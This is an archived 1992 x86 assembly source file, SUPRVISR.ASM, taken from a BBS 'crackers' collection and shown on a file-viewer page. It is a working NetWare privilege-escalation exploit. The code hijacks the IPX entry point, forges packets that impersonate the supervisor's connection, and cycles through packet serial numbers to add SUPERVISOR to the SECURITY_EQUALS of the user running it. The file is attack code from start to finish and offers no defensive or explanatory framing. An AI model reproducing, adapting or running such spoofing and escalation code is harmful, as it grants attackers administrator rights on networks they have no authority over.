home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
BBS 1
/
BBS#1.iso
/
crackers
/
addsecur.arj
/
SUPRVISR.ASM
< prev
Wrap
Assembly Source File
|
1992-08-13
|
4KB
|
266 lines
;***********************************************
; Change SECURITY_EQUALS for caller workstantion
;
; Call:
; ds:si - pointer to structure for determine
; SUPERVISOR workstantion:
;
; db ConnectionId
; db ?,?,?,? ; Net address
; db ?,?,?,?,?,? ; Node address
;***********************************************
assume cs:code,ds:code
code segment word public 'CODE'
public CreateUser
CreateUser proc
push ds
push cs ; Copy supervisor address
pop ds
mov di,offset NewID
mov cx,11
cld
rep movsb
mov ax,cs ; Setup code segments
mov ECBcs2,ax
mov ECBcs3,ax
; Get IPX address
mov ax,7A00h
int 2Fh
cmp al,0FFh
je @@1
mov al,1
pop ds
stc
ret
@@1: ; Change IPX reaction
push es
push di
mov di,offset SaveIPX
push cs
pop es
pop si
pop ds
push ds
push si
cld
mov cx,3
rep movsw
pop di
push di
push ds
pop es
mov ax,09A2Eh
stosw
mov ax,offset IPXnew
stosw
mov ax,cs
stosw
; Call NET function
mov ax,cs
mov ds,ax
mov es,ax
mov si,offset NET_opn
mov di,si
mov ah,0E3h
int 21h
; Restore IPX
pop di
pop es
mov ax,es
mov word ptr IPXentry+2,ax
mov word ptr IPXentry,di
mov si,offset SaveIPX
mov cx,3
rep movsw
; Change ID Connection
mov al,NewID
mov ConnId,al
mov di,offset NetFr
mov si,offset NewNet
mov ax,cs
mov ds,ax
mov es,ax
cld
mov cx,10
rep movsb
; Get My Name
mov ah,0DCh
int 21h
mov connect,al
mov si,offset ask
mov di,offset reply
push cs
pop es
mov ah,0E3h
int 21h
; Prepare packet
mov si,offset reply+6
mov di,offset User
movsw
push di
xor ax,ax
stosb
xor cx,cx
@@2:
lodsb
or al,al
je @@3
stosb
inc cx
jmp @@2
@@3:
mov ax,cx
mov si,offset SecurAdd
mov cx,29
rep movsb
pop di
stosb
mov cl,NET_secur+1
xor ch,ch
add ax,cx
mov NET_secur+1,al
; Add SUPERVISOR to SECURITY_EQUALS
mov si,offset NET_secur
mov FCBaddr,si ; address of 2nd fragment
mov ax,[si]
xchg ah,al
add ax,2
mov FCBlen,ax ; length of 2nd fragment
add ax,37 ; fragment 1
xchg ah,al
mov TotalLen,ax ; total length of packet
mov cx,120h
@@4:
mov al,SerialN
inc al
mov SerialN,al
push cs
pop es
mov si,offset ECB
mov bx,0Fh
push cx
mov bp,2 ; 2 fragments
call dword ptr ds:IPXentry
pop cx
@@5:
mov al,ECBuse
or al,al
jne @@5
loop @@4
pop ds
ret
CreateUser endp
; IPX subroutine
IPXnew proc far
mov cs:SavTemp,ax
pop ax
mov word ptr cs:RetAddr,ax
pop ax
mov word ptr cs:RetAddr+2,ax
pushf
push bx
and bx,07FFFh
cmp bx,0Fh
jne @1
push ds
push es
push si
push di
push es
pop ds
push cs
pop es
mov di,offset FCB1
lds si,[si+36]
push cx
mov cx,37
cld
rep movsb
pop cx
pop di
pop si
pop es
pop ds
mov ax,cs:SavTemp
@1:
jmp cs:RetAddr
IPXnew endp
SavTemp dw 0
RetAddr dd 0
;
; Data area
;
NewID db 5
NewNet db 0,0,0,1
NewNode db 0,0,0,0,0,0EDh
SaveIPX dw 0,0,0 ; For temporary save three word from IPX
ask dw 2
db 16h
connect db 0
reply dw 62
db 62 dup(?)
IPXentry dd 0
NET_opn dw 1 ; Open bindery
db 69
NET_secur db 0,33 ; Add SUPERVISOR to SECURITY_EQUALS
db 41h
User db 0,1 ; Object Type
db 7
db 'NEWUSER'
db 100 dup(?)
SecurAdd db 0Fh
db 'SECURITY_EQUALS'
db 0,1
db 0Ah
db 'SUPERVISOR'
ECB dd ? ; Link
dw 0,0 ; Event subroutine
ECBuse db 0 ; In use
db 0 ; Complete code
db 0,0 ; My socket
db 4 dup(0) ; IPX workspace
db 12 dup(0) ; Driver workspace
db 6 dup(0) ; Immediate address
dw 2 ; Fragment Count
dw FCB1
ECBcs2 dw 0
dw 37
FCBaddr dw 0
ECBcs3 dw 0
FCBlen dw 0
FCB1 dw 0FFFFh
TotalLen dw 0
db 0 ; Transport control
db 11h ; Netware Control Protocol type
db 0,0,0,1 ; Number net of receiver
db 0,0,0,0,0,80h ; Node of receiver
db 4,51h ; Number socket of receiver
NetFr db 0,0,0,1 ; Number net of sender
NodeFr db 0,0,0,0,0,0EBh ; Node of sender
SockFr db 40h,03 ; Socket of sender
db 22h,22h
SerialN db 0 ; Number of packet (SPX)
ConnId db 0 ; Connection ID
xxN db 5 ; ??
db 0 ; already 0
db 17h ; as function E3 for INT 21h
code ends
end